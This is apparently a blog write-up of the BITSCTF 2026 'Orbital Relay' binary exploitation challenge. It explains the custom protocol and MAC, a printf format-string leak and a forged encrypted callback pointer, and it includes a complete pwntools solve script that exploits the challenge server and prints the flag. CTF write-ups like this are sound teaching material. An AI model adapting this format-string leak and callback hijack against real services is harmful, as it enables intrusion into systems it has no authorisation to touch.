506 words
3 minutes
BITSCTF 2026 - Orbital Relay - Binary Exploitation Writeup
Category: Binary Exploitation
Flag: BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}
Challenge Description
Given orbital_relay.tar.gz. Remote: nc 20.193.149.152 1339
Protections: Full RELRO, Canary, NX, SHSTK, IBT.
Analysis
The service uses a binary framed protocol:
Handshake: Client sends SYNCv3?, server responds with 4-byte little-endian session value.
Frame format: chan:u8 | flags:u8 | len:u16(le) | mac:u32(le) | payload[len]
MAC function:
acc = (chan<<16) ^ sess ^ flags ^ 0x9e3779b9;
for each payload byte b:
acc = rol32(acc, 7);
acc ^= (b + 0x3d);Key bug chain in diagnostics handling:
- TLV tag
0x10decrypts attacker bytes into a global string buffer - TLV tag
0x40triggers:__printf_chk(2, controlled_buffer, st80, st, keep_win)— format string primitive - Tag
0x31sets encrypted callback pointer. On teardown (chan=9), server decrypts and calls it
Callback decode: decoded = cb_enc ^ (((uint64_t)st80 << 32) ^ st84 ^ 0x9e3779b97f4a7c15)
Exploitation
- Pass auth with proper MAC computation
- Use format string to leak
winfunction address - Forge
cb_encso decoded callback == leakedwin - Trigger channel 9 to execute
win()which printsflag.txt
File used: solve.py
#!/usr/bin/env python3
from pwn import *
import re
import struct
HOST = "20.193.149.152"
PORT = 1339
ST84_INIT = 0x28223B24
SEED_INIT = 0x3B152813
AUTH_XOR = 0x31C3B7A9
CB_CONST = 0x9E3779B97F4A7C15
def mix32(x: int) -> int:
x &= 0xFFFFFFFF
x = (((x << 13) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
x = ((x >> 17) ^ x) & 0xFFFFFFFF
x = (((x << 5) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
return x
def kbyte(seed: int, idx: int) -> int:
idx16 = idx & 0xFFFF
v = (seed + ((idx16 * 0x045D9F3B) & 0xFFFFFFFF)) & 0xFFFFFFFF
return mix32(v) & 0xFF
def mac32(payload: bytes, chan: int, flags: int, sess: int) -> int:
acc = (((chan & 0xFF) << 16) ^ (sess & 0xFFFFFFFF) ^ (flags & 0xFF) ^ 0x9E3779B9) & 0xFFFFFFFF
for b in payload:
acc = ((acc << 7) | (acc >> 25)) & 0xFFFFFFFF
acc ^= (b + 0x3D) & 0xFFFFFFFF
return acc
def frame(chan: int, flags: int, payload: bytes, sess: int) -> bytes:
return (
struct.pack("<BBHI", chan, flags, len(payload), mac32(payload, chan, flags, sess))
+ payload
)
def tlv(tag: int, value: bytes) -> bytes:
if len(value) > 0xFF:
raise ValueError("TLV value too long")
return bytes([tag & 0xFF, len(value)]) + value
def enc_for_tag10(plain: bytes, st80: int, st84: int) -> bytes:
seed = (st80 ^ st84) & 0xFFFFFFFF
return bytes([(plain[i] ^ kbyte(seed, i)) & 0xFF for i in range(len(plain))])
def start():
if args.LOCAL:
return process(["./orbital_relay"])
return remote(HOST, PORT)
def main():
io = start()
io.send(b"SYNCv3?")
sess = u32(io.recvn(4))
log.info(f"session = {sess:#x}")
st84 = ST84_INIT
st80 = mix32(SEED_INIT)
auth_token = (mix32(st84 ^ sess) ^ AUTH_XOR) & 0xFFFFFFFF
io.send(frame(3, 0, p32(auth_token), sess))
# set state > 2 requirement for teardown path
io.send(frame(1, 0, tlv(0x22, b"\x03"), sess))
# format-string leak path
leak_fmt = b"%p|%p|%p\n"
enc = enc_for_tag10(leak_fmt, st80, st84)
leak_req = tlv(0x10, enc) + tlv(0x40, b"")
io.send(frame(1, 0, leak_req, sess))
leak_blob = io.recvuntil(b"relay/open\n", timeout=3.0)
if not leak_blob:
leak_blob = io.recvrepeat(1.0)
m = re.search(rb"0x[0-9a-fA-F]+\|0x[0-9a-fA-F]+\|(0x[0-9a-fA-F]+)", leak_blob)
win_addr = int(m.group(1), 16)
log.success(f"win = {win_addr:#x}")
key = (((st80 & 0xFFFFFFFF) << 32) ^ (st84 & 0xFFFFFFFF) ^ CB_CONST) & 0xFFFFFFFFFFFFFFFF
cb_enc = win_addr ^ key
io.send(frame(1, 0, tlv(0x31, p64(cb_enc)), sess))
io.send(frame(9, 0, b"", sess))
out = io.recvrepeat(2.0)
print(out.decode(errors="ignore"))
if __name__ == "__main__":
main()Run:
python3 solve.py BITSCTF 2026 - Orbital Relay - Binary Exploitation Writeup
https://blog.rei.my.id/posts/42/bitsctf-2026-orbital-relay-binary-exploitation-writeup/